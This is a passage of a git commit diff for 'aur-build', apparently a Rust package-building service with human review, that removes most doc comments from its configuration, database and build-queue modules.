diff options
| author | aur-build <aur-build@localhost> | 2026-11-19 17:33:17 +0000 |
|---|---|---|
| committer | aur-build <aur-build@localhost> | 2026-11-19 17:33:17 +0000 |
| commit | 4304b0f336ddba7b4ec6780795059ff2066d105b (patch) | |
| tree | 10edea744a1c2bf3fc363b4dc7f64abac8b1a0d3 | |
| parent | e757979f1a2afdbe7146066345bb9acd19d3b151 (diff) | |
| download | aur-build-4304b0f336ddba7b4ec6780795059ff2066d105b.tar.gz aur-build-4304b0f336ddba7b4ec6780795059ff2066d105b.zip | |
comments: keep only what the code cannot show
Stripped every comment that described what an item does, documented its
arguments or fields, or cited the design docs (§n, I-n, m-n, decision n).
2247 comments down to 83.
What survives: the section dividers that segment the large modules, the
secret-handling warnings, the agent wire-frame directions, and the few notes
without which the code they attach to reads as redundant, reorderable, or
unsound.
77 files changed, 8 insertions, 2177 deletions
diff --git a/src/config.rs b/src/config.rs index f8fe51a..e4a7e6d 100644 --- a/src/config.rs +++ b/src/config.rs @@ -2,44 +2,27 @@ use std::path::{Path, PathBuf}; use serde::{Deserialize, Serialize}; -/// Fallback tag for a provisioning backend when the caller has no image of its own. pub const DEFAULT_SANDBOX_IMAGE: &str = "aur-build-sandbox:latest"; -/// Where build code runs (§8, the sandbox seam). -/// -/// An enum with required fields rather than a string plus a `validate()`: the -/// string version silently fell through to loopback. #[derive(Clone, Serialize, Deserialize)] #[serde(tag = "kind", rename_all = "kebab-case", deny_unknown_fields)] pub enum Sandbox { - /// Subprocesses of this process; isolation is *none* (§14's sudo rules are - /// the boundary). The default, and the only kind needing no configuration. Loopback, - /// Sandboxes that dial in over the agent protocol (§8a); the hub never - /// provisions them. Remote { - /// Agent dial-in listener; port 0 resolves at bind. listen: String, /// Rendezvous secret. Deploy it like a credential. token: String, - /// Asserts hub and sandbox see the same filesystem — required, because - /// the workspace is not shipped to a remote sandbox (§8a). See - /// `Config`'s startup guard. #[serde(default)] shared_workspace: bool, }, - /// Disposable Kata VMs provisioned by a Kubernetes CRD, so the orchestrator - /// enforces the TTL even if the hub dies (§8a). AgentSandbox { api: String, namespace: String, /// Never logged. bearer: String, - /// The `sandbox-agent` entrypoint. image: String, listen: String, token: String, - /// As [`Sandbox::Remote`]. #[serde(default)] shared_workspace: bool, }, @@ -103,7 +86,6 @@ impl Sandbox { } } - /// `None` for kinds that provision nothing. pub fn image(&self) -> Option<&str> { match self { Sandbox::AgentSandbox { image, .. } => Some(image), @@ -122,63 +104,43 @@ impl Sandbox { pub const KINDS: [&'static str; 3] = ["loopback", "remote", "agent-sandbox"]; } -/// Runtime configuration. Persisted as `<root>/config.json`. #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(default)] pub struct Config { - /// Holds db, mirrors, caches, store, repo and logs. pub root: PathBuf, pub repo_name: String, pub arch: String, - /// Signs packages *and* the database (decision 22). pub signing_key_id: String, - /// Loopback only by default (§14). pub bind: String, - /// One credential, no user table. pub password: String, pub base_url: String, pub build_profile: String, pub git_bin: String, pub makepkg_bin: String, - /// The lease set is installed with `pacman -U` inside the sandbox (§8). pub pacman_bin: String, pub repo_add_bin: String, pub gpg_bin: String, - /// Unprivileged user running PKGBUILD code (§14). Empty = current user. pub build_user: String, pub sandbox: Sandbox, - /// Absent unless built with `test-support` (§16a). #[cfg(feature = "test-support")] #[serde(default, skip_serializing_if = "TestHooks::is_empty")] pub hooks: TestHooks, - /// Default 1, so the chroot pool needs only one warm root. pub max_concurrent_builds: usize, pub lease_secs: i64, pub min_free_disk_mb: u64, - /// Transient step failures only (§8.4). pub max_transient_attempts: i64, pub dispatch_tick_secs: u64, } -/// The test harness's handles on a real pipeline (§16a). -/// -/// Each exists because a *fake* pipeline would test something else: I4 needs a -/// process that really dies between the tmp write and the rename, I5 needs a step -/// that really dies mid-child, I9 needs a PKGBUILD that really reaches outside its -/// staging dir. #[derive(Debug, Clone, Default, Serialize, Deserialize)] #[serde(default)] pub struct TestHooks { pub path_prepend: Option<PathBuf>, pub shim_manifest: Option<PathBuf>, pub shim_dir: Option<PathBuf>, - /// `before-rename` or `after-rename`, for I4. pub publish_fault: Option<String>, - /// The named shim must fail, e.g. `makepkg`. pub shim_fail: Option<String>, - /// The named shim SIGKILLs the pipeline process mid-step (I5). pub shim_kill_parent: Option<String>, - /// The build shim plants a symlink to this path in its srcdir (I9). pub shim_plant_link: Option<String>, } @@ -231,10 +193,6 @@ impl Config { .to_string() } - /// Refuse a configuration that cannot work, before anything builds with it. - /// - /// The enum makes the impossible unrepresentable; this catches what a type cannot - /// see — empty-but-present fields, and the assertion the type leaves defaulted. pub fn validate(&self) -> crate::error::Result<()> { let require = |field: &str, value: &str| -> crate::error::Result<()> { if value.trim().is_empty() { @@ -267,7 +225,6 @@ impl Config { if self.sandbox.shared_workspace() { return Ok(()); } - // A remote build only works where hub and sandbox see the same path. Err(crate::error::Error::invalid(format!( concat!( "sandbox kind \"{}\" was not told that hub and sandbox share a filesystem: ", @@ -281,12 +238,6 @@ impl Config { ))) } - /// Read `<root>/config.json`. - /// - /// **The root is the directory the config file was found in.** The `root` field - /// inside the file is documentation, not a second source of truth; honouring a - /// relative field by re-joining it onto the config's directory is what turned - /// `--root runtime` into `runtime/runtime/…`. pub fn load(root: &Path) -> crate::error::Result<Self> { let dir = absolute(root)?; let p = dir.join("config.json"); @@ -307,8 +258,6 @@ impl Config { pub fn save(&self) -> crate::error::Result<()> { std::fs::create_dir_all(&self.root)?; let mut out = self.clone(); - // Absolutize on the way out, so a config written from a relative - // `--root` can never be misread. out.root = absolute(&self.root)?; std::fs::write( self.root.join("config.json"), @@ -317,8 +266,6 @@ impl Config { Ok(()) } - /// Child environment as pairs — the form the remote backend puts on the - /// wire, so a remote child sees what a local one would. #[cfg_attr(not(feature = "test-support"), allow(unused_variables))] pub fn child_env_pairs(&self) -> Vec<(String, String)> { #[cfg_attr(not(feature = "test-support"), allow(unused_mut))] @@ -355,7 +302,6 @@ impl Config { } } - /// Create the directory tree the server needs. Idempotent. pub fn ensure_dirs(&self) -> crate::error::Result<()> { for d in [ self.root.clone(), @@ -427,9 +373,6 @@ impl Config { } } -/// A retired key holding exactly what `init` used to write for a local -/// deployment states nothing the default does not already state, so it is noise -/// from an old file rather than lost intent. Anything else is refused. fn retired_key_is_inert(key: &str, value: &str) -> bool { match key { "sandbox_backend" => value == "loopback", @@ -438,10 +381,6 @@ fn retired_key_is_inert(key: &str, value: &str) -> bool { } } -/// The sandbox configuration moved from four flat keys to one tagged object -/// ([`Sandbox`]). A retired key is refused only when it would have changed -/// behaviour: `init` used to write `sandbox_backend: "loopback"` alongside three -/// empty strings, and a config carrying exactly that keeps loading untouched. fn check_retired_sandbox_keys(v: &serde_json::Value) -> crate::error::Result<()> { const RETIRED: [&str; 4] = ["sandbox_backend", "agent_listen", "agent_token", "sandbox_image"]; let named: Vec<String> = RETIRED @@ -471,9 +410,6 @@ fn check_retired_sandbox_keys(v: &serde_json::Value) -> crate::error::Result<()> ))) } -/// Absolutize without resolving symlinks and without requiring the path to -/// exist, both of which `canonicalize` insists on — and `init` saves its config -/// before the tree under it is complete. fn absolute(p: &Path) -> crate::error::Result<PathBuf> { Ok(std::path::absolute(p)?) } diff --git a/src/db/approvals.rs b/src/db/approvals.rs index b5a9b59..ececc32 100644 --- a/src/db/approvals.rs +++ b/src/db/approvals.rs @@ -3,7 +3,6 @@ use rusqlite::{params, OptionalExtension, Transaction}; use crate::db::Db; use crate::error::Result; -/// A human decision about one candidate, ready to record. pub struct Decision<'a> { pub candidate_id: i64, pub base_release_id: Option<i64>, @@ -15,7 +14,6 @@ pub struct Decision<'a> { pub note: Option<&'a str>, } -/// Record a decision on a candidate and return the approval row's id. pub fn record_in(tx: &mut Transaction<'_>, d: &Decision<'_>) -> Result<i64> { tx.execute( "INSERT INTO approval (candidate_id, base_release_id, decided_at, decision, risk_level, @@ -35,9 +33,6 @@ pub fn record_in(tx: &mut Transaction<'_>, d: &Decision<'_>) -> Result<i64> { Ok(tx.last_insert_rowid()) } -/// Record a rejection by copying the candidate's own row into the approval -/// table. The decision has to describe the bytes that *were* rejected, so it is -/// read from the row rather than repeated by the caller (§7.1). pub fn record_rejection_in(tx: &mut Transaction<'_>, candidate_id: i64, at: &str, identity_hash: &str, note: &str) -> Result<()> { tx.execute( "INSERT INTO approval (candidate_id, base_release_id, decided_at, decision, risk_level, @@ -49,7 +44,6 @@ pub fn record_rejection_in(tx: &mut Transaction<'_>, candidate_id: i64, at: &str Ok(()) } -/// The decision recorded against a candidate, if one was. pub fn for_candidate(db: &Db, candidate_id: i64) -> Result<Option<(i64, String)>> { db.read(|c| { Ok(c.query_row( diff --git a/src/db/builds.rs b/src/db/builds.rs index 8598dd3..de9e7fb 100644 --- a/src/db/builds.rs +++ b/src/db/builds.rs @@ -50,13 +50,10 @@ pub(crate) fn row_to_build(r: &rusqlite::Row<'_>) -> rusqlite::Result<BuildRow> }) } -/// Deterministic build id (§8.2): re-submitting the same intent is a no-op, -/// which is what makes manual rebuilds safe to enqueue carelessly. pub fn build_id(pkgbase: &str, identity_hash: &str, world_hash: &str, profile: &str) -> String { crate::hash::hex_str(&format!("{pkgbase}|{identity_hash}|{world_hash}|{profile}")) } -/// Enqueue a build intent. `INSERT OR IGNORE` on the deterministic id. #[allow(clippy::too_many_arguments)] pub fn enqueue( db: &Db, @@ -130,7 +127,6 @@ pub fn queued(db: &Db, limit: i64) -> Result<Vec<String>> { }) } -/// Claim a build for a worker: the lease is what makes a crash recoverable. pub fn claim(db: &Db, owner: &str, id: &str, lease_secs: i64) -> Result<bool> { let (owner, id) = (owner.to_string(), id.to_string()); let exp = time::secs_ahead(lease_secs); @@ -158,10 +154,6 @@ pub fn extend_lease(db: &Db, id: &str, lease_secs: i64) -> Result<()> { }) } -/// Reaper pass (§8.2): expired leases go back to the queue and their in-flight step -/// is marked interrupted, so the checkpoint decides where it resumes. -/// -/// Both `leased` and `running` are reaped: a mid-step death leaves a `running` row. pub fn reap_expired(db: &Db) -> Result<usize> { let now = time::now(); db.writer.tx(move |tx| { @@ -189,10 +181,6 @@ pub fn reap_expired(db: &Db) -> Result<usize> { }) } -/// The one way a build changes state, usable inside a transaction. -/// -/// The write is a compare-and-swap: only a row in one of `to`'s legal predecessor -/// states is updated, so a zombie worker whose lease was reaped gets an error. fn transition_in_tx( tx: &mut rusqlite::Transaction<'_>, id: &str, @@ -224,7 +212,6 @@ fn transition_in_tx( Ok(()) } -/// Move a build to `to`, refusing any transition [`BuildState`] forbids. pub fn set_state(db: &Db, id: &str, to: BuildState, error: Option<&str>) -> Result<()> { let id = id.to_string(); let error = error.map(|e| e.to_string()); @@ -242,10 +229,6 @@ pub fn block_on(db: &Db, id: &str, blocked_on: &[String]) -> Result<()> { }) } -/// Requeue blocked builds whose blocking packages have since arrived (§10.4). -/// -/// Not "requeue everything that is blocked": the dispatcher calls this every pass, -/// and requeueing a build that will immediately block again burns a claim each tick. pub fn requeue_blocked(db: &Db) -> Result<usize> { let now = time::now(); db.writer.tx(move |tx| { @@ -256,8 +239,6 @@ pub fn requeue_blocked(db: &Db) -> Result<usize> { .collect::<rusqlite::Result<Vec<(String, String)>>>()?; out }; - // The index membership check is one query for the whole pass, not one per - // dependency of every blocked build (m-17), on the dispatcher's hot loop. let in_index: std::collections::HashSet<String> = { let mut stmt = tx.prepare("SELECT name FROM package WHERE state='in_index'")?; let names = stmt @@ -349,9 +330,6 @@ pub fn begin_step(db: &Db, build_id: &str, step: &str, attempt: i64) -> Result<( let (b, s) = (build_id.to_string(), step.to_string()); let at = time::now(); db.writer.tx(move |tx| { - // The `WHERE` is I5 with teeth: a step already checkpointed as done is - // frozen, so a resume that asks to re-run it cannot overwrite the record - // that told it to skip. The insert path is unaffected. let n = tx.execute( "INSERT INTO build_step (build_id, step, status, attempt, started_at) VALUES (?1,?2,'running',?3,?4) @@ -370,8 +348,6 @@ pub fn begin_step(db: &Db, build_id: &str, step: &str, attempt: i64) -> Result<( }) } -/// Record what a step produced. Refuses a transition [`StepState`] forbids — -/// above all, writing over a checkpoint a resume is relying on. pub fn finish_step( db: &Db, build_id: &str, @@ -416,7 +392,6 @@ pub fn finish_step( }) } -/// Builds in flight (leased or running), for the backpressure calculation. pub fn in_flight(db: &Db) -> Result<usize> { db.read(|c| { Ok(c.query_row( @@ -460,7 +435,6 @@ pub fn touch(db: &Db, id: &str) -> Result<()> { }) } -/// Record which release a build produced, inside the publish transaction. pub fn set_release_in(tx: &rusqlite::Transaction<'_>, id: &str, release_id: i64) -> Result<()> { tx.execute("UPDATE build SET release_id=?1 WHERE id=?2", params![release_id, id])?; Ok(()) @@ -532,9 +506,6 @@ pub fn current_state(c: &Connection, id: &str) -> Result<Option<BuildState>> { } } -/// Claim up to `limit` queued builds in one `BEGIN IMMEDIATE` transaction and -/// hand them to workers (§8.2). SQLite has no `SKIP LOCKED`, but with exactly one -/// writer the claim cannot race: the SELECT and the UPDATE are one transaction. pub fn claim_batch(db: &Db, owner: &str, limit: usize, lease_secs: i64) -> Result<Vec<String>> { if limit == 0 { return Ok(Vec::new()); @@ -563,9 +534,6 @@ pub fn claim_batch(db: &Db, owner: &str, limit: usize, lease_secs: i64) -> Resul }) } -/// A newer approved release for the same pkgbase makes an in-flight build -/// pointless (§8.2 cancellation). Workers notice at the next step boundary and -/// stop; nothing is killed mid-step, which is what keeps the checkpoints honest. pub fn cancel_superseded(db: &Db) -> Result<usize> { db.writer.tx(move |tx| { let n = tx.execute( @@ -578,17 +546,12 @@ pub fn cancel_superseded(db: &Db) -> Result<usize> { }) } -/// Put a build back on the queue after a transient failure, keeping the attempt -/// count so the retry cap can bite (§8.4). pub fn requeue_transient(db: &Db, id: &str) -> Result<()> { let id = id.to_string(); db.writer .tx(move |tx| transition_in_tx(tx, &id, BuildState::Queued, None)) } -/// Explicitly retry a failed build (§8.4): the failed step goes back to pending, -/// everything that succeeded stays checkpointed, and the attempt counter keeps -/// counting. pub fn retry(db: &Db, id: &str) -> Result<()> { let id = id.to_string(); db.writer.tx(move |tx| { @@ -597,8 +560,6 @@ pub fn retry(db: &Db, id: &str) -> Result<()> { WHERE build_id=?1 AND status IN ('failed','interrupted')", params![id], )?; - // The move itself goes through the machine, so requeueing a build that - // already published is refused with a reason. transition_in_tx(tx, &id, BuildState::Queued, None)?; tx.execute("UPDATE build SET cancel_requested=0 WHERE id=?1", params![id])?; Ok(()) diff --git a/src/db/candidates.rs b/src/db/candidates.rs index 631bf42..df145ac 100644 --- a/src/db/candidates.rs +++ b/src/db/candidates.rs @@ -4,7 +4,6 @@ use crate::db::{CandidateRow, CandidateState, Db}; use crate::error::{Error, Result}; use crate::time; -/// The columns `row_to_candidate` reads, spelled once (§6 m-3). const CANDIDATE_COLS: &str = "c.id, c.pkgbase_id, c.base_release_id, c.kind, c.snapshot_id, c.epoch, c.pkgver, \ c.pkgrel, c.upstream_pins_json, c.source_digests_json, c.identity_hash, c.diff_digest, \ c.revision, c.viewed_at, c.risk_level, c.risk_signals_json, c.missing_deps_json, c.state, \ @@ -36,7 +35,6 @@ fn row_to_candidate(r: &Row<'_>) -> rusqlite::Result<CandidateRow> { }) } -/// The fields a new candidate row carries, beyond its pkgbase and its base. #[derive(Debug, Clone)] pub struct NewCandidate { pub snapshot_id: i64, @@ -49,13 +47,11 @@ pub struct NewCandidate { } impl NewCandidate { - /// The `epoch:pkgver-pkgrel` this candidate would publish. pub fn version(&self) -> String { crate::pkgver::full_version(&self.epoch, &self.pkgver, &self.pkgrel) } } -/// The open review of a pkgbase — as much of it as the collapse rules need. #[derive(Debug, Clone)] pub struct OpenReview { pub id: i64, @@ -65,8 +61,6 @@ pub struct OpenReview { } impl OpenReview { - /// Has a human opened this review yet? That timestamp is what decides - /// whether a newer detection collapses or supersedes (§7.1). pub fn viewed(&self) -> bool { self.viewed_at.is_some() } @@ -74,8 +68,6 @@ impl OpenReview { // ------------------------------------------------------------------ in-tx -- -/// Everything the approval gate has to look at to decide, read in one statement -/// so the check cannot straddle two snapshots of the database. #[derive(Debug, Clone)] pub struct ReviewSubject { pub id: i64, @@ -83,9 +75,7 @@ pub struct ReviewSubject { pub state: CandidateState, pub identity_hash: String, pub diff_digest: String, - /// The release this review was opened against (I2). pub base_release_id: Option<i64>, - /// What the pkgbase accepts now — the other half of the I2 check. pub current_base_release_id: Option<i64>, pub risk_level: String, pub pkgbase: String, @@ -116,10 +106,6 @@ pub fn review_subject_in(tx: &Transaction<'_>, candidate_id: i64) -> Result<Opti .optional()?) } -/// Take a candidate out of the open state: approved, rejected or superseded. -/// -/// The write is a compare-and-swap on [`CandidateState`]: a decided review is never -/// re-decided, so an approval racing a rejection fails instead of overwriting. pub fn resolve_in(tx: &Transaction<'_>, id: i64, to: CandidateState, at: &str) -> Result<()> { let froms = CandidateState::predecessors(to); let placeholders = froms.iter().map(|_| "?").collect::<Vec<_>>().join(","); @@ -144,8 +130,6 @@ pub fn resolve_in(tx: &Transaction<'_>, id: i64, to: CandidateState, at: &str) - Ok(()) } -/// A candidate's state, read inside a transaction (the reject path needs it -/// before it writes). pub fn state_in(tx: &Transaction<'_>, id: i64) -> Result<Option<CandidateState>> { Ok(tx .query_row("SELECT state FROM candidate WHERE id=?1", params![id], |r| { @@ -160,7 +144,6 @@ pub fn identity_in(tx: &Transaction<'_>, id: i64) -> Result<Option<String>> { .optional()?) } -/// The risk level recorded at review time, if the candidate exists. pub fn risk_level(db: &Db, id: i64) -> Result<Option<String>> { db.read(|c| { Ok(c.query_row("SELECT risk_level FROM candidate WHERE id=?1", params![id], |r| r.get::<_, String>(0)) @@ -168,7 +151,6 @@ pub fn risk_level(db: &Db, id: i64) -> Result<Option<String>> { }) } -/// The pkgbase's open review, if it has one (I7: at most one). pub fn open_in(tx: &Transaction<'_>, pkgbase_id: i64) -> Result<Option<OpenReview>> { Ok(tx .query_row( @@ -187,8 +169,6 @@ pub fn open_in(tx: &Transaction<'_>, pkgbase_id: i64) -> Result<Option<OpenRevie .optional()?) } -/// Write a newer detection into the open review: same row, same base, one more -/// revision, and the stale diff rendering dropped so it cannot be approved. pub fn collapse_in(tx: &mut Transaction<'_>, open: &OpenReview, nc: &NewCandidate) -> Result<i64> { let revision = open.revision + 1; tx.execute( @@ -212,14 +192,11 @@ pub fn collapse_in(tx: &mut Transaction<'_>, open: &OpenReview, nc: &NewCandidat Ok(revision) } -/// Freeze a reviewed candidate as `superseded` so a fresh review can open. pub fn supersede_in(tx: &Transaction<'_>, id: i64) -> Result<()> { let at = time::now(); resolve_in(tx, id, CandidateState::Superseded, &at) } -/// Has this exact identity been rejected before? If so the watcher stays quiet -/// until a human re-opens it (§7.1). pub fn rejected_before_in(tx: &Transaction<'_>, pkgbase_id: i64, identity_hash: &str) -> Result<bool> { Ok(tx .query_row( @@ -232,8 +209,6 @@ pub fn rejected_before_in(tx: &Transaction<'_>, pkgbase_id: i64, identity_hash: .is_some()) } -/// Has this identity been recorded at all — approved, superseded, anything? -/// Then the detection said nothing new. pub fn recorded_before_in(tx: &Transaction<'_>, pkgbase_id: i64, identity_hash: &str) -> Result<bool> { Ok(tx .query_row( @@ -246,7 +221,6 @@ pub fn recorded_before_in(tx: &Transaction<'_>, pkgbase_id: i64, identity_hash: .is_some()) } -/// Open a candidate row in `pending_review`. pub fn insert_in( tx: &mut Transaction<'_>, pkgbase_id: i64, @@ -277,7 +251,6 @@ pub fn insert_in( // ------------------------------------------------------------------ reads -- -/// Every candidate regardless of state, newest first (`aur-build reviews --all`). pub fn all(db: &Db) -> Result<Vec<CandidateRow>> { let sql = format!("SELECT {CANDIDATE_COLS} FROM candidate c JOIN pkgbase b ON b.id = c.pkgbase_id ORDER BY c.detected_at DESC LIMIT 500"); db.read(move |c| { @@ -291,7 +264,6 @@ pub fn all(db: &Db) -> Result<Vec<CandidateRow>> { }) } -/// The reviews waiting for a decision, riskiest first. pub fn pending(db: &Db) -> Result<Vec<CandidateRow>> { let sql = format!( "SELECT {CANDIDATE_COLS} FROM candidate c JOIN pkgbase b ON b.id = c.pkgbase_id \ @@ -316,7 +288,6 @@ pub fn by_id(db: &Db, id: i64) -> Result<Option<CandidateRow>> { }) } -/// Open reviews for a pkgbase (usually zero or one, by I7). pub fn open_reviews_for(db: &Db, pkgbase_id: i64) -> Result<Vec<CandidateRow>> { let sql = format!( "SELECT {CANDIDATE_COLS} FROM candidate c JOIN pkgbase b ON b.id = c.pkgbase_id \ @@ -335,8 +306,6 @@ pub fn open_reviews_for(db: &Db, pkgbase_id: i64) -> Result<Vec<CandidateRow>> { // ---------------------------------------------------------------- writes -- -/// Mark a candidate `viewed` the first time a human opens it. That timestamp is -/// what decides whether a later detection collapses or supersedes (§7.1). pub fn mark_viewed(db: &Db, id: i64) -> Result<()> { let at = time::now(); db.writer.tx(move |tx| { @@ -348,8 +317,6 @@ pub fn mark_viewed(db: &Db, id: i64) -> Result<()> { }) } -/// §7.1: a rejection can be re-opened. The rejected row is retired so it stops -/// suppressing the identity, and the next detection opens a fresh review. pub fn reopen_rejected(db: &Db, id: i64) -> Result<()> { let at = time::now(); db.writer.tx(move |tx| { @@ -364,7 +331,6 @@ pub fn reopen_rejected(db: &Db, id: i64) -> Result<()> { }) } -/// Record the risk assessment computed at review time. pub fn set_risk(db: &Db, id: i64, level: &str, signals: &[String]) -> Result<()> { let lvl = level.to_string(); let sig = serde_json::to_string(signals)?; diff --git a/src/db/migrations.rs b/src/db/migrations.rs index b1954ab..18e9a4b 100644 --- a/src/db/migrations.rs +++ b/src/db/migrations.rs @@ -1,4 +1,3 @@ -/// One migration: version number + SQL body. pub struct Migration { pub version: u32, pub name: &'static str, @@ -268,17 +267,11 @@ BEGIN END; "#; -/// `artifact.build_id` lets the publish step find what `ingest` recorded without -/// re-scanning the disposable staging directory, so a worker that dies between -/// ingest and publish resumes cleanly (I5). const M_0005_ARTIFACT_BUILD: &str = r#" ALTER TABLE artifact ADD COLUMN build_id TEXT; CREATE INDEX artifact_by_build ON artifact (build_id); "#; -/// §7.2: the approval record is immutable. It is the only proof the system has -/// of *what a human actually looked at*, so editing it would let a later -/// attacker retarget a published artifact onto a clean review. const M_0006_APPROVAL_IMMUTABLE: &str = r#" CREATE TRIGGER approval_no_update BEFORE UPDATE ON approval @@ -293,9 +286,6 @@ BEGIN END; "#; -/// Stage B results, keyed on `(pkgbase, recipe_hash, upstream_tip)` (§5.2). -/// Re-resolving means cloning an upstream repo and running makepkg, so the answer -/// is worth keeping; the same key also implements the per-pkgbase cooldown. const M_0007_STAGE_B_CACHE: &str = r#" CREATE TABLE stage_b_cache ( pkgbase_id INTEGER NOT NULL REFERENCES pkgbase(id), @@ -312,10 +302,6 @@ CREATE TABLE stage_b_cache ( CREATE INDEX stage_b_cache_by_pkgbase ON stage_b_cache (pkgbase_id, resolved_at); "#; -/// Retention (§15). The rows are never compacted — the schema exists so "which -/// bytes produced this installed package" stays answerable — but the bytes on disk -/// cannot be kept forever. So eviction is recorded rather than implied: the -/// artifact row keeps its digest, size and provenance and gains a `purged_at`. const M_0008_RETENTION: &str = r#" ALTER TABLE artifact ADD COLUMN purged_at TEXT; @@ -348,7 +334,6 @@ pub static MIGRATIONS: &[Migration] = &[ Migration { version: 8, name: "retention", sql: M_0008_RETENTION }, ]; -/// Default settings seeded into `settings` (DESIGN.md §11). pub const DEFAULT_SETTINGS: &[(&str, &str)] = &[ ("max_concurrent_builds", "1"), ("build_timeout", "5400"), diff --git a/src/db/mod.rs b/src/db/mod.rs index c271fe7..95833be 100644 --- a/src/db/mod.rs +++ b/src/db/mod.rs @@ -8,8 +8,6 @@ pub mod queries; pub use migrations::MIGRATIONS; pub use model::*; -/// Parse a state column into one of the state enums. A value the code does not -/// recognise fails the row instead of becoming a default. pub(crate) fn state_col<T: StateEnum>(col: usize, text: &str) -> rusqlite::Result<T> { T::parse(text).ok_or_else(|| { rusqlite::Error::FromSqlConversionFailure( @@ -35,7 +33,6 @@ use rusqlite::Connection; use crate::config::Config; use crate::error::{Error, Result}; -/// Open a connection with the pragmas every connection needs. fn open(path: &Path, read_only: bool) -> Result<Connection> { let conn = if read_only { Connection::open_with_flags( @@ -56,14 +53,12 @@ fn configure(conn: &Connection, read_only: bool) -> Result<()> { .and_then(|_| conn.pragma_update(None, "foreign_keys", "ON")) .map_err(|e| Error::db(e.to_string()))?; if !read_only { - // Durability of the approval trail is worth the fsync (§11a). conn.pragma_update(None, "synchronous", "FULL") .map_err(|e| Error::db(e.to_string()))?; } Ok(()) } -/// Apply pending migrations. Must run before the writer actor starts. pub fn migrate(path: &Path) -> Result<u32> { let mut conn = open(path, false)?; let mut applied = 0u32; @@ -101,9 +96,6 @@ enum Msg { Shutdown, } -/// Handle on the single writer thread. -/// -/// Cheap to clone; every clone talks to the same actor. pub struct Writer { tx: Sender<Msg>, path: PathBuf, @@ -111,7 +103,6 @@ pub struct Writer { } impl Writer { - /// Spawn the writer actor thread. pub fn start(path: &Path) -> Result<Self> { let conn = open(path, false)?; let (tx, rx) = unbounded::<Msg>(); @@ -129,7 +120,6 @@ impl Writer { Msg::Shutdown => break, } } - // Best-effort WAL checkpoint on the way out. let _ = conn.pragma_update(None, "wal_checkpoint", "TRUNCATE"); alive_thread.store(false, Ordering::SeqCst); }) @@ -145,13 +135,6 @@ impl Writer { self.alive.load(Ordering::SeqCst) } - /// Run `f` on the write connection and wait for its result. No transaction - /// may span a build step: `f` should be short. - /// - /// `pub(crate)`, not `pub`: the schema has one owner, this module (§6 M-1). - /// Inside the crate the convention is enforced by - /// `tests/schema_ownership.rs`, which fails the build if a SQL statement - /// appears outside `src/db/`. pub(crate) fn call<T>(&self, f: impl FnOnce(&mut Connection) -> Result<T> + Send + 'static) -> Result<T> where T: Send + 'static, @@ -165,7 +148,6 @@ impl Writer { .map_err(|_| Error::db("writer actor gone"))? } - /// Run `f` inside a single `BEGIN IMMEDIATE` transaction. pub(crate) fn tx<T>( &self, f: impl FnOnce(&mut rusqlite::Transaction<'_>) -> Result<T> + Send + 'static, @@ -183,7 +165,6 @@ impl Writer { }) } - /// Fire-and-forget write (audit rows, bookkeeping where the result is unused). pub(crate) fn send(&self, f: BoxedCall) -> Result<()> { if !self.is_alive() { return Err(Error::db("writer actor gone")); @@ -198,10 +179,6 @@ impl Writer { } } -/// The raw-SQL door, open only for the test harness (§6 M-9). A fixture -/// sometimes has to reach a state the typed API only reaches through several -/// steps, but that is not a reason to leave the door unlocked in the binary an -/// operator runs. #[cfg(feature = "test-support")] impl Writer { pub fn tx_for_tests<T>( @@ -222,9 +199,6 @@ impl Writer { } } -/// Thread-local read-only connection pool: one connection per thread per -/// database file. HTTP handlers and watchers use this; they never touch the -/// write connection. pub struct Readers { path: PathBuf, } @@ -238,7 +212,6 @@ impl Readers { Self { path: path.to_path_buf() } } - /// Run `f` against this thread's read-only connection. pub fn with<T>(&self, f: impl FnOnce(&Connection) -> Result<T>) -> Result<T> { let path = self.path.clone(); POOL.with(|pool| { @@ -258,7 +231,6 @@ impl Readers { } } -/// A handle bundling the writer with a reader factory; passed around as `App`. #[derive(Clone)] pub struct Db { pub writer: Arc<Writer>, @@ -279,13 +251,11 @@ impl Db { }) } - /// Convenience: read-only query against the shared reader pool. pub fn read<T>(&self, f: impl FnOnce(&Connection) -> Result<T>) -> Result<T> { self.readers.with(f) } } -/// Consistent snapshot for backups: `VACUUM INTO`, never `cp` of a live WAL db. pub fn backup_to(writer: &Writer, dest: &Path) -> Result<()> { let dest_s = dest.display().to_string(); writer.call(move |conn| { @@ -295,11 +265,6 @@ pub fn backup_to(writer: &Writer, dest: &Path) -> Result<()> { }) } -/// The schema version a database file reports. A backup that does not answer -/// with a migrated schema is a file, not a backup. -/// -/// Opened read-write and untouched by the connection pragmas: a WAL database -/// cannot even be opened read-only. pub fn schema_version(path: &Path) -> Result<i64> { let conn = rusqlite::Connection::open(path) .map_err(|e| Error::db(format!("{} does not open: {e}", path.display())))?; diff --git a/src/db/model.rs b/src/db/model.rs index 84701d1..5afb793 100644 --- a/src/db/model.rs +++ b/src/db/model.rs @@ -2,24 +2,15 @@ use serde::{Deserialize, Serialize}; use crate::hash; -/// One resolved upstream VCS source (DESIGN.md §3). The commit SHA alone is -/// sufficient: a git commit transitively commits to its tree, and a gitlink in -/// that tree commits to any submodule's commit. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct UpstreamPin { pub index: usize, pub url: String, - /// The ref we asked for: `HEAD`, a tag, or an explicit commit. pub ref_: String, pub branch: Option<String>, - /// The pin. pub commit: String, } -/// A row of the Stage B cache (§5.2): the version resolution produced, with the -/// pins it was computed from. This lives with the schema because the table does — -/// the persistence layer must not name a type from the module that owns VCS -/// probing (§6 M-6). #[derive(Debug, Clone)] pub struct StageBCacheRow { pub epoch: String, @@ -34,40 +25,28 @@ impl StageBCacheRow { } } -/// A source entry with the digest *we* computed, regardless of what the -/// PKGBUILD declares (§5.3). #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct SourceDigest { pub index: usize, pub url: String, - /// `static` | `vcs` | `local` pub kind: String, - /// sha256, or the resolved VCS commit for vcs sources. pub digest: String, pub size: u64, - /// True when the PKGBUILD gave us no checksum to trust — `SKIP`, a malformed - /// digest, or nothing at all. It means that and nothing else (m-19): a `-git` - /// source has no checksum by design because the *pin* is the integrity. Ask - /// [`SourceDigest::is_vcs`] which mechanism protects an entry. pub skip_declared: bool, } impl SourceDigest { - /// True when this entry's integrity comes from a resolved commit rather than a - /// content hash. pub fn is_vcs(&self) -> bool { matches!(self.kind.as_str(), "vcs" | "git" | "svn" | "hg" | "bzr") } } -/// A member of a world snapshot: one of *our* packages the build ran against. #[derive(Debug, Clone, 